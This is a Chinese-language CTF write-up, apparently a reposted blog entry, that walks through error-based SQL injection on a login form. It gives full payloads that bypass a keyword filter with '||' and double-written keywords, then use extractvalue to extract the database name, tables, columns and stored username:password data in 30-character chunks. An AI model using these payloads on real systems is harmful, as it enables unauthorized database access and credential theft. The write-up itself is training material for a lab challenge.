赞
踩
通过bp抓包进行测试
构造payload:username=3'+or+1=1--+
发现返回了完整的错误提示,一开始没明白是什么意思,更换payload测了几次后才发觉or应该被过滤了,尝试了or 'a'='a'--+ or '1'='1' --+;
通过报错提示发现这里or被过滤了,直接用||替换发现成功绕过;当然这里也是可以利用双写绕过的,做的时候没想到双写绕过,但是在后面information处老是过不去才发觉中间有个or,双写成功绕过了,不细说了,后面见
既然能成功注入了,又获得了完整的错误提示
获取数据库名;构造payload:username=3'+||+extractvalue(1,concat(0x7e,database(),0x7e))=1--+
成功获取到了数据库名为geek
构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(table_name)+frfromom+infoorrmation_schema.tables+whewherere+table_schema='geek'),0x7e))=1--+
这个过程中用到了很多的双写绕过;成功获取到了表名:b4bsql 和 geekuser
geekuser感觉很正常,应该是一个用户数据库,b4bsql这个数据库看着很可疑,flag应该就在这里了,先搞这个数据库
构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(column_name)+frfromom+infoorrmation_schema.columns+whewherere+table_name='b4bsql'),0x7e))=1--+
成功出了字段信息,只有三个字段id、username、password
构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,181,30),0x7e))=1--+
成功看到了flag的影子;指出来一部分,还有一部分没出来
继续构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,211,30),0x7e))=1--+
好了,后面的部分也全部出来了
拼接起来是:flag{1272f1b5-2209-42c5-9d9f-c490ef6e05ec}
可能每次出现的flag都不一样,所以不要直接用我这个flag,掌握思路最重要
由于报错函数只能显示32位,所以我这里利用了截取函数(双写绕过),利用开头结尾两个~符号进行判断,中间30位为读取的数据,这里发现数据不完全是因为没用截取函数时后面的~没出现,所以采用截取函数看一下;实际数据两百多位,作者是真的狗,flag还放在最后面
按理说到这里就结束了
但是,处于好奇心,我还是看了一下geekuser中的数据,字段同样为id username password;但是数据只有一条,就是成功登录时的admin用户和密码
好了,到这里就真的结束了
虽然过程坎坷曲折,但是结果还是做出来了,flag自己找的
就是要硬气一回,轻轻松松拿捏作者~~~
就这,我还没发力呢~~~~~~
10
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。